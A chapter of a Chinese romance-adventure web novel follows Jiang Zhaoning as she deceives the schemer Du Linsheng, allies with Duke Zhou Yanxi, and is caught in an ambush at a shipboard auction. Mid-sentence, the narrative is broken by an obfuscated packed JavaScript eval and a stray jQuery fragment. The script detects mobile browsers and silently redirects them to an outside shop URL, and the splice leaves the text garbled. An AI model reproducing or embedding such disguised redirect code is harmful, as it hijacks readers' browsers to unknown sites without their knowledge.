真是好大一个乌龙!
江昭宁拜别周言兮后,还来不及故技重施,就迎面撞见了静立在远处的杜林笙。
辣椒粉已是用不得了,今夜月色澄澈,四下通明,难再做手脚。
“大腿委屈你了”。
江昭宁心里想着,手上倒是不含糊,猛地一掐大腿,疼的她一皱眉,眼眶瞬间又盈满了泪水。
恢复了和杜林笙相处时柔若无骨的姿态,缓慢地向杜林笙那里挪去。
杜林笙从出了自己的船舱开始就一直在寻江昭宁的身影,眼见快一个时辰过去了,还没见到江昭宁,他有些怀疑是不是自己在码头的暗示不够明显。
正疑惑着,远处甲板上一抹小小的身影,缓缓走来。
孤月高悬,海面上吹起阵阵寒风。她的衣衫飘起在空中纷飞。
有些散乱的发丝被吹向脑后,露出光洁的额头,月光散在她周身,她从朦胧中走来。
她的脸颊上闪烁似珍珠般璀璨的光芒,银白色的月光下,她眼眶周围的红晕更加明显,惹人怜惜的紧。
“林笙哥哥…”
江昭宁重复着刚才的表演,这一次进展顺利,她美滋滋地想着此次演出的重大成功。
角落里看着这熟悉的一切重演的周言兮,在看到江昭宁不经意躲开杜林笙不安分的手时,垂眸低笑,前往了江卿玉所在的船舱。
药香味醇厚从江卿玉船舱中散出,周言兮正欲叩门,林屹从内打开了门,朝周言兮微微点头后,邀他入内。
林屹,为人温驯谦和,一双妙手可断生死、调阴阳。
江卿玉此时虚弱的倚在贵妃榻上,周言兮观她面色苍白、气弱神虚,较之去岁,愈发孱弱,担忧道。
“小柔姐,你的身子…还有多久…”
周言兮问的直接,因着江卿玉先天患有顽疾,林屹断言她活不过三十岁。
“你应该猜到了,这次我迫你和宁宁见面,缘因我时日无多,阿屹说,最多也不过两年光景”。
“我知道当年的事在你心里留下个血窟窿,这些年每每除夕夜,你总以公务繁忙回绝我,其实你不是无暇见她,而是不敢来见她”。
江卿玉说的笃定。
“你这又是何苦,宁宁为护你而死是她的选择,你恨自己无能,自觉无颜见她,可你那时年幼…”。
倏尔周言兮打断江卿玉的话。
“她护我的时候也不过十三,豆蔻年华,花儿一般的年纪,倒在我面前,我却无能为力…”
说起当年,周言兮耳边又回响起江昭宁那句“小兮,别怕”。
“小柔姐,我知你这些年一直想劝慰我,可你呢?你我皆被困在了十五年前,这么多年你我所做的一切,亦皆是宁宁当年所愿”。
“十五年前困住的又何止你我”,江卿玉叹气感慨道。
“好在他们不知宁宁死而复生这件事,把我当作了当年的她,现今,恐因不悔花再起波澜,她跟着你最为安全,断念堂繁杂事务积压甚多,我需回去处理,此事了,我就将她托付给你了”。
“你放心,我虽不知这最后的时日你要做什么,但我的人你随意调遣,我会护好她”。
周言兮神情有些激动,但眼眸中流露出的坚定,似烈日灼灼。
江卿玉宽慰地点点头,有些头疼的揉了揉太阳穴,话题一转与周言兮商讨起明日布局。
于此同时,杜大骗子又在展示他的口才了,什么不离不弃,什么我的心里全是你…江昭宁觉得话本子杜骗子肯定没少看!
正想着周旋了这么久,什么时候进入正题,就听杜林笙装作悲戚地叹气道。
“本想着能和昭宁在同一包厢出席这次拍卖会,我还攒了很多心里话想和昭宁说,眼下怕是…”
他抬头摸了摸她的头,看向她的眼神中充满了遗憾和失望。
“何其重要的心里话要明日才能说,就差把我对你图谋不轨四个大字刻在脸上了!”
江昭宁被杜林笙气的在心中腹诽。
面上还要装出失落的神情,手上再次使劲,她抬眸,泪珠滚落,滴在杜林笙的手背上。
江昭宁早猜到了杜林笙今夜要见她的目的,哄骗她与他明日在一处,为的就是挟持她来牵制江卿玉。
杜林笙自始至终的目标都是江卿玉,可江卿玉与他们斗智争锋这么多年,自是不好糊弄的,便想从江卿玉身边的人下手。
二人又假意地互诉衷肠一番…
杜林笙谎话连篇,江昭宁困意来袭,不想陪杜林笙再胡闹下去了,眼神坚定地看着杜林笙。
“明日,昭宁同林笙哥哥在一个包厢吧”。
“可是…你姐姐…”
杜林笙试探地开口,他对江家的两姐妹做过调查,姐妹二人棠棣同心。
“林笙哥哥,我已经及笄了,姐姐说有些事是可以自己决定的,况且一次拍卖会而已”。
说完江昭宁轻轻柔柔的拉起了杜林笙的手,眼神中略带安慰地继续道。
“阿姐也不是针对你,她只是怕我受骗,你是不会骗我的,对吧?”
杜林笙感觉到江昭宁握着自己的手渐渐地攥紧了,她看着他眼睛亮晶晶的,若星儿般璀璨,眼中带着爱意与信任。
在杜林笙看来,这完全就是一个已经深陷情爱的小姑娘。
布局三个月终于要落下这最后一枚棋子了,杜林笙不免有些兴奋,他看着江昭宁的眼神变得愈加热切,神情有些激动地回握住江昭宁的手。
“此心昭昭,定不负卿”。
“登徒子!”
江昭宁听完他温情款款立誓,垂眸掩去眼底寒意,心中大骂此人厚颜无耻,谎话张口就来。
她装作害羞地挣脱了杜林笙的钳制,后退两步,温声道。
“此时已是月上中天,阿姐找不到我怕是要着急了,昭宁就先回去了,林笙哥哥好梦”。
说罢,也不管杜林笙是何反应,转身毫不留情地朝船舱走去。
船舱内,秦时晏坐在矮凳上,双手在膝盖上反复揉搓,眼神时不时地往窗外瞟,焦急不已。
“这祖宗去了这么久还不回来,不会是毒发被抓住了吧?诶!不会不会,那疯子戾气就能杀/人…怎么还不回来…”
秦时晏双手在头上快速且急躁地挠了几下。
下一秒,被封禁的船舱大门猛地打开,屋内烛火一瞬熄灭,秦时晏惊的一屁股从椅子上跳了起来,逆着月光,他看不清少女的面容,只被少女头上的珠玉步摇,晃了眼睛。
他警惕地躬身后退,一手抬起护在自己面前,一手摸向腰间,那里有一把周言兮临走时留给他防身的匕首。
这副架势倒像是要决一死战。
少女不语只是淡淡浅笑一声,缓步徐行。
秦时晏感觉到冰冷的刀尖慢慢地挑起他的下巴,迫使他与她对视。
“秦会首,是我的人招待不周了,现如今我手下之人已接管全船,我想请您配合我演一出戏,我可保您无虞,如何?”
虽是商量的口吻,可少女的眼神确是冰冷又不容置疑的。
秦时晏被寒地打了个哆嗦,咽了口唾沫,又迅速往窗边看了几眼,眼一闭问道。
“怎么配合?”
“明日的最后一件拍品是不悔花,对吧?”
此话一出,秦时晏怔愣地看着眼前的少女,面无人色,刚想开口,就又被噎住。
“别担心,我对那劳什子花不感兴趣,只是明日,您的爱船可能会遭些小罪”。
随即她又拍了拍秦时晏的肩膀安慰着。
“您莫要因心疼,坏了我的事,待此事了,我赔您艘新船”。
少女缓缓挪开了挑起他下巴的匕首,轻佻地拍了拍他的脸,语气略带威胁。
“乖乖听话”。
还不等江昭宁接着和秦时晏细说明日安排,便发现窗口处黑影晃动,她骤然起身,迅捷地朝窗外飙出头上的一枚金簪。
“阁下站在窗外,能听得清?”
只听一声低笑,窗外那人翻身进入船舱,手中握着一枚金簪。
周言兮在窗外观察了许久,眼前的少女,方才眼中的娇柔温婉早已消失殆尽,只剩下胜卷在握的怡然自得和戏弄秦时晏的促狭之意。
“国公爷,是您啊”。
江昭宁看看周言兮又看看秦时晏。
“秦会首是您的人?”
虽是疑问,但语气是肯定的。
“嗯,我与他是旧友,此人可信,莫要唬吓他了”。
周言兮眼眸含笑的看着江昭宁,朝她轻轻摇头。
江昭宁尴尬的笑了笑,假意整理耳边的碎发,轻咳一声,转身带着歉意的对着秦时晏施了一礼。
“秦会首,我失礼了,原是自己人,那匕首…没伤着您吧”。
秦时晏面含嗔色的瞪了周言兮一眼,他早就发现周言兮站在窗边了,看着自己被匕首挑着下巴逗弄却无动于衷,还隐在暗处看好戏。
可一转头却笑盈盈的看着江昭宁。
“无妨,都是朋友,要怪就怪他,站在一旁看好戏,也不吱个声”。
秦时晏抬手指向周言兮。
却见周言兮双手交叉抱臂与胸前,斜倚着窗沿,一脸无辜的看着他。
秦时晏佯作恼意命令周言兮。
“看什么看,还不快去把烛火点燃”。
随即又笑嘻嘻地看着江昭宁。
“小姑娘,你是小周周什么人啊?”
秦时晏认识周言兮十余年来,他身边连只母蚊子都没有,曾有一段时日,他都怀疑周言兮是否有龙阳之好。
而今,他发现一件趣事,周言兮看向这个小姑娘的眼神不对劲的很啊!
“我?国公爷是我阿姐的故人,今日是我与国公爷第一次见面”,江昭宁回道。
“第一次见面?那看来小周周很喜欢你了”。
秦时晏对江昭宁说的“第一次见面”有些诧异。
认识周言兮这么多年,周言兮何时有这么柔情的时候,这其中肯定有故事,他下定决心一定要撬开周言兮的嘴,问个清楚。
江昭宁闻言不知回些什么,只能朝着秦时晏礼貌地笑,秦时晏本还想多问些什么,却忽地被周言兮出言打断。
“夜色已深,我送你回去”。
周言兮面向江昭宁温声道。
江昭宁刚想说可以自己回去,话未出口,就见周言兮朝着她的方向大步走来,将他手中的金簪,稳稳地重新插回自己发间。
“多谢”她抬头看向周言兮的眼睛,朝他乖巧地嫣然一笑。
她的笑颜太过娇嫩灼目,周言兮袖中的手紧了紧,刚准备落下的手转了方向,生涩地帮江昭宁掖耳边的碎发,强装淡定地开口。
“走吧”。
江昭宁耳根有些红,静静地跟在周言兮身后。
二人一前一后出了船舱,留秦时晏一人呆楞原地。
秦时晏自认为是较为了解周言兮的,周言兮这个人,待人接物皆是看似十分柔和,实则万般疏离,有时甚至偏执腹黑。
可方才不同,他发现周言兮看向江昭宁的眼神,仿若久坠寒渊之人再逢曦光,甚为珍视。
皎洁的月色不知何时隐去了云雾身后,四周变得昏暗,周言兮默默地轻握住江昭宁的手腕,带着她缓步向前。
约莫一炷香过后,周言兮折回了秦时晏的船舱。
周言兮刚跨进门,抬眸便见秦时晏贼兮兮地笑望着他。
“有故事啊?”秦时晏揶揄地笑道。
周言兮看着秦时晏滑稽的表情,不禁失笑,抬手锤在他肩膀上。
“是有故事,以后有机会讲给你听”。
周言兮回道,他语气平静,可秦时晏却从中品出一丝炫耀……
“眼下,打赢明日那一仗最为要紧,我同你细说…”。
翌日,旭日东升,晨曦铺洒在平静的海面上,宛若金箔鎏金泛彩。
推开窗,微风裹挟着海水的咸涩气息扑面而来,曦光照在江昭宁的脸上,太过灼眼,她不适的合上双眸,羽睫轻颤。
她昨晚并未安眠,梦中火光冲天,厮杀声不绝于耳,可下一瞬场景骤然一转,一个七八岁大的孩童,跟在她身后宁宁,宁宁地喊着,她回眸望去,男孩儿脸上泪如泉涌,眼神悲戚。
江昭宁坐于梳妆台前,慢条斯理的为自己挽了一个堕马髻,玉钗、步摇、头花…她素来喜欢珠翠琳琅,招摇过市的。
抬手以半面鎏金翠玉覆面,起身朝拍卖厅徐徐而去。
拍卖厅位于整艘船的最上层,江昭宁步入厅内,镀金的琉璃灯高悬,金光散开,洋洋洒洒的落下,灯火璀璨,四下通明。
“通天仙果然名不虚传,这排场当真是宏大壮观”。
江昭宁自言自语道。
过往宾客络绎不绝,因着四方来客齐聚,厅内众人皆带着形制各异的面具。
层层雅座已是人满为患,她抬眼望去,便见江卿玉穿着一身雪白雕花罗裙,带着白狐银纹面具,眉眼弯弯地含笑看她。
江昭宁俏皮的眨眼回应后,转身向天字包间行去,推门而入,便见秦时晏正襟危坐,一瞬不瞬地盯着她。
江昭宁被秦时晏的神情与动作逗笑,打趣道。
“秦会首,您今日看起来怎得正经许多?”
还没等秦时晏开口,周言兮就带着笑意抢答道。
“他紧张”。
江昭宁看向正闭目养神的周言兮,坐在他身边的空位上,学着他,轻躺在椅背上,微微合上眼眸。
“昨日我已派人护送无关人等离开,我不会砸了你通天仙的招牌的,现下船上除了杜林笙和他的几个贴身奴仆外都是自己人”。
昨夜,江昭宁回到船舱后,便安排人借秦时晏的名义,以舱底渗漏为由,不动声色地将船上无关人等一一护送至另一艘预先备好、全然相似的船上。
此时那艘船上,歌舞升平、笑语喧阗,拍卖会如期举行。
“杜林笙的人在昨夜曾偷偷地替换了秦会首的侍卫,不过在我们会面前就已全换成了我的人,他那些爪牙已经被我绑住扔底舱了,从昨日至今,杜林笙并未发现端倪”。
江昭宁有些小得意。
螳螂捕蝉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798250|210564||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黄雀在后,江昭宁特意等着杜林笙的侍卫们全部就位才尽数擒获的。
她倒是要感谢杜林笙帮了她一个大忙,省得她还要从人群中挑出杜林笙的人逐一击破。
“嗯,做的不错”。
周言兮听出了少女言语中的自得,浅笑赞扬。
“眼下杜林笙和他带上来的那些爪牙已不足为惧,倒是他身后的泥鳅滑的很,千万当心”。
继而轻声嘱咐道。
这时,好久不言语的秦时晏开了口。
“该我上场表演了”。
语气中仍能听出其惶惶之感。
“放轻松,今夜请你吃酒”。
江昭宁出言缓和秦时晏的紧张感。
“那我要去醉梦楼!”
“好!”江昭宁爽利的应诺。
这么一打岔,惴惴不安之感散了大半,秦时晏大步出了厢门。
秦时晏前脚出了包厢门,未几江昭宁伸了个懒腰,懒洋洋地抚着桌子站起来,朝门口走去。
“杜林笙为牵制阿姐,昨夜邀我同处于他的包厢,一切按照咱们的谋划行事,国公爷,告辞”。
“万事当心”,周言兮再三叮嘱。
江昭宁回眸浅笑点头回应。
厅内笙歌燕舞已然落幕,秦时晏走上台,从容自若地开始了他的表演。
“诸位远道而来,甚为幸苦,今日四海奇珍,世间罕物齐聚于此,诸般瑰宝静待有缘之人,闲话少叙,拍卖正式开始!”。
“近来,吾机缘巧合下得到一本画册,一朵通体透亮,色呈五彩的奇花跃然绽放于纸上,册上撰写着此物本源和施用之法”。
“此花名曰不悔,席间诸君可曾听闻过此名讳?”。
此话一出,在场的假宾客们便窃窃私语起来。
“听闻此花负神力,可以消平生憾事,改写命运诶!”
“对对对,十五年前天下大乱也因此而起!”
“那女子死而复生了各位知道吗?”
“传闻说不悔花长在她身上与她融为一体了,是真是假啊?”
良久,场内再次安静下来,这时秦时晏才再次开口。
“此乃本次拍卖会的第一件拍品,竞价公允,价高者得,诸位尽可随心出价”。
按照计划,江卿玉展现出势在必得的姿态,疯狂加价,和侍卫扮演的宾客演的那叫一个酣畅淋漓。
不出所料第一件拍品由江卿玉竞得。
此间杜林笙一直在观察局势,图册他要拿到,江卿玉他更是要擒住带走。
江昭宁从进入包厢那一刻就被喂了软骨散,束住四肢,掩了口舌,丢在杜林笙身旁的空地上,她象征性的挣扎几下,落几滴泪,便不再浪费力气,在暗处默默地注视着他的一举一动。
江卿玉得了画册便起身向住房区而去,杜林笙观江卿玉起身,便命人拽起江昭宁,解了她的脚铐,欲悄无声息地跟在江卿玉身后。
江昭宁岂能遂了他的愿,她在被拽着经过阶梯旁摆放的花瓶时,用尽全力一瞪,花瓶从三层高的地方坠落,哐当一声轰然炸开,瓷片四处飞散,血红色的花瓣落了满地。
霎时,全场寞然,众人目光齐聚于杜林笙三人身上。
“放了我妹妹!”
江卿玉怒斥杜林笙。
“贱女人!”
杜林笙暗骂江昭宁坏事,从侍从手中一把抓过江昭宁的手臂,将她拽到自己身前,举剑横于她脖颈处。
霎时,由侍卫假扮的宾客四处逃窜,趁乱带着秦时晏安全撤离。
彼时,江卿玉和杜林笙的人马拔刀相向,气氛顿时变得剑拔弩张起来。
纵观全局,场上兵力悬殊,杜林笙的侍卫寥寥无几,实则是他背后空无一人。
杜林笙丝毫不在意,嗓音洪亮道。
“江卿玉,不想你妹妹死,就跟我走!”
江昭宁被塞住口舌,呜呜的哭泣配合着杜林笙。
杜林笙带着江昭宁一步步向甲板走去,江卿玉带着人紧跟其后。
骤然一声巨响划破云霄,巨炮轰击,船体中间塌陷,海水转瞬倒灌进船中央的窟窿中,商船迅速下沉。
周言兮从天字厢房的窗边跃下,站定甲板之上,抬眸望向响声传来的方向。
十几艘战舰风驰电掣地朝着这边而来,海面上被撕开了一道道裂痕。
大王八终于出壳了。
杜林笙拎起江昭宁跃向对面船只,江卿玉众人也一同追去。
江卿玉抬眸看清眼前所站何人时,便怒怼道。
“齐枭,你还真是丑人多作怪!”
齐枭,斩花阁第三分阁的阁主,天性阴鸷,残暴嗜血,又其擅用蛊毒之术;行事癫狂失度,惯以肆虐女子为乐,唯一弱点便是武艺不精。
这些年齐枭所过之处民不聊生,离乱之年尤甚。
周言兮与斩花阁交锋多年,唯在此人手中栽了一番跟头,此人极擅隐匿行踪,甚是难擒,齐枭给他身上下的蛊毒,也至今未解。
两队人马面面相觑,战舰之上领头人—齐枭,黏腻腻的开口。
“江大美人,好久不见呢,上次本以为剜下那块肉,便不会再打搅你了,可是不行啊,它只认你,这次我只能将你带走了”
他贱嗖嗖地猖笑着。
还没等江卿玉开口,他一把将江昭宁拽入怀里,扼住她的下颌,动作轻佻地用鼻子在江昭宁脸上蹭来蹭去的玩弄。
江昭宁暗骂他变态,挣扎着躲避他的触碰。
他抬起手对着江卿玉勾了勾,油腻地笑道。
“用你,换她”。
江卿玉丢弃手中的剑,警惕地朝齐枭走去。
骤然一道利箭横空朝着齐枭袭去,他反应迅速地拉过江昭宁挡于自己身前。
江昭宁眼看着箭矢朝自己眼眶处迅速逼近,她挣扎着欲蹲下躲开。
周言兮毫无征兆地从齐枭身后倏忽而至,攥紧江昭宁的手腕,一脚将齐枭踹飞出去,砸倒一众侍从。
周言兮将她拉至自己怀中,搂着她退至江卿玉一众人等身后。
“齐枭,本公说过会来找你算账的”。
话落,哨声鸣起,鼓声雷动,舰队起了内斗,炮声震天,厮杀阵阵,刀剑铿锵。
齐枭此刻面目狰狞起来,他的舰队混入了周言兮的内鬼。
“他何时做的这些!”
齐枭心中惊疑,慌忙起身欲跳船逃生,却被周言兮一剑定在船柱上,疼得齐枭痛苦哀嚎。
江昭宁全身瘫软的依在周言兮怀中,皱眉看着眼前发生的一切,烈焰滔天,哀嚎不断,眼前的场景让她想起了昨晚的梦。
江昭宁觉得呼吸有些困难,头昏昏沉沉的,视线变得模糊重叠,她本能的反手握住周言兮的手,一瞬间额头冷汗涔涔,顺着鬓角滑落。
周言兮低眸看她,见她已然是紧闭双眸,紧咬着唇,瘫倒在自己怀中。
他心神一震,紧搂着她的慢慢跪地,用手背轻试着她额头的温度。
江昭宁蜷缩在周言兮怀里,没了意识,面色苍白,双手垂落在身侧,唇边染着血渍。